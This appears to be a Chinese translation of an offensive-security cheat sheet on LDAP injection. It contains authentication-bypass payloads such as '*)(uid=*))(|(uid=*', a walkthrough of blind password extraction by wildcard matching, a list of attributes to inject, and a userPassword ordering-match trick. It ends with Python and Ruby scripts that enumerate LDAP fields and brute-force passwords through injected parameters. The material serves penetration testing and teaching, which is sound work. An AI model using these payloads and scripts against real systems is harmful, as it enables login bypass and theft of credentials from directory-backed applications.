跳转至

LDAP 注入 (LDAP Injection)

LDAP 注入是一种用于攻击那些基于用户输入构建 LDAP 语句的 Web 应用程序的攻击手段。当应用程序未能对用户输入进行适当的安全过滤时,攻击者就有可能使用本地代理来修改 LDAP 语句。

摘要 (Summary)

方法论 (Methodology)

LDAP 注入是一种漏洞,当用户提供的输入被用于构造 LDAP 查询,且未经过适当的过滤或转义时就会发生。

身份验证绕过 (Authentication Bypass)

尝试通过注入始终为真的条件来操纵过滤器逻辑。

示例 1:此 LDAP 查询利用查询结构中的逻辑运算符来潜在地绕过身份验证

user  = *)(uid=*))(|(uid=*
pass  = password
query = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))

示例 2:此 LDAP 查询同样利用查询结构中的逻辑运算符来潜在地绕过身份验证

user  = admin)(!(&(1=0
pass  = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))

盲注利用 (Blind Exploitation)

此方案演示了 LDAP 盲注利用,使用的是类似于二分查找或基于字符的暴力破解技术来发现密码等敏感信息。它依赖于一个事实:LDAP 过滤器会根据条件是否匹配而对查询做出不同的响应,而不会直接显示实际密码。

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
(&(sn=administrator)(password=MY*))  : OK
(&(sn=administrator)(password=MYA*)) : KO
(&(sn=administrator)(password=MYB*)) : KO
(&(sn=administrator)(password=MYC*)) : KO
...
(&(sn=administrator)(password=MYK*)) : OK
(&(sn=administrator)(password=MYKE)) : OK

LDAP 过滤器详细解析:

  • &:逻辑与 (AND) 运算符,意味着括号内的所有条件都必须为真。
  • (sn=administrator):匹配 sn (姓氏) 属性为 administrator 的条目。
  • (password=X*):匹配密码以 X 开头的条目(区分大小写)。星号 (*) 是通配符,代表任何剩余字符。

默认属性 (Defaults Attributes)

可以用于注入,例如:*)(ATTRIBUTE_HERE=*

userPassword
surname
name
cn
sn
objectClass
mail
givenName
commonName

利用 userPassword 属性 (Exploiting userPassword Attribute)

userPassword 属性不像 cn 属性那样是字符串,而是一个 OCTET STRING (八位位组字符串)。 在 LDAP 中,每个对象、类型、运算符等都由一个 OID (对象标识符) 引用:octetStringOrderingMatch (OID 2.5.13.18)。

octetStringOrderingMatch (OID 2.5.13.18): 一种排序匹配规则,将对两个八位位组字符串值进行逐位比较(采用大端序),直到发现差异。在其中一个值中找到 0 位而在另一个值中找到 1 位的第一种情况,将导致具有 0 位的值被认为小于具有 1 位的值。

userPassword:2.5.13.18:=\xx (\xx 是一个字节)
userPassword:2.5.13.18:=\xx\xx
userPassword:2.5.13.18:=\xx\xx\xx

脚本 (Scripts)

发现有效的 LDAP 字段

#!/usr/bin/python3
import requests
import string

fields = []
url = 'https://URL.com/'
f = open('dic', 'r')
world = f.read().split('\n')
f.close()

for i in world:
    # 构造类似于 (&(login=*)(ITER_VAL=*))\x00)(password=bla)) 的查询
    r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) 
    if 'TRUE CONDITION' in r.text:
        fields.append(str(i))

print(fields)

特殊 LDAP 盲注

#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
    print("[i] Looking for number " + str(i))
    for char in alphabet:
        r = requests.get("http://ctf.web?action=dir&search=admin*)(password=" + flag + char)
        if ("TRUE CONDITION" in r.text):
            flag += char
            print("[+] Flag: " + flag)
            break

@noraj 编写的利用脚本

#!/usr/bin/env ruby
require 'net/http'
alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('')

flag = ''
(0..50).each do |i|
  puts("[i] Looking for number #{i}")
  alphabet.each do |char|
    r = Net::HTTP.get(URI("http://ctf.web?action=dir&search=admin*)(password=#{flag}#{char}"))
    if /TRUE CONDITION/.match?(r)
      flag += char
      puts("[+] Flag: #{flag}")
      break
    end
  end
end

实验环境 (Labs)

参考资料 (References)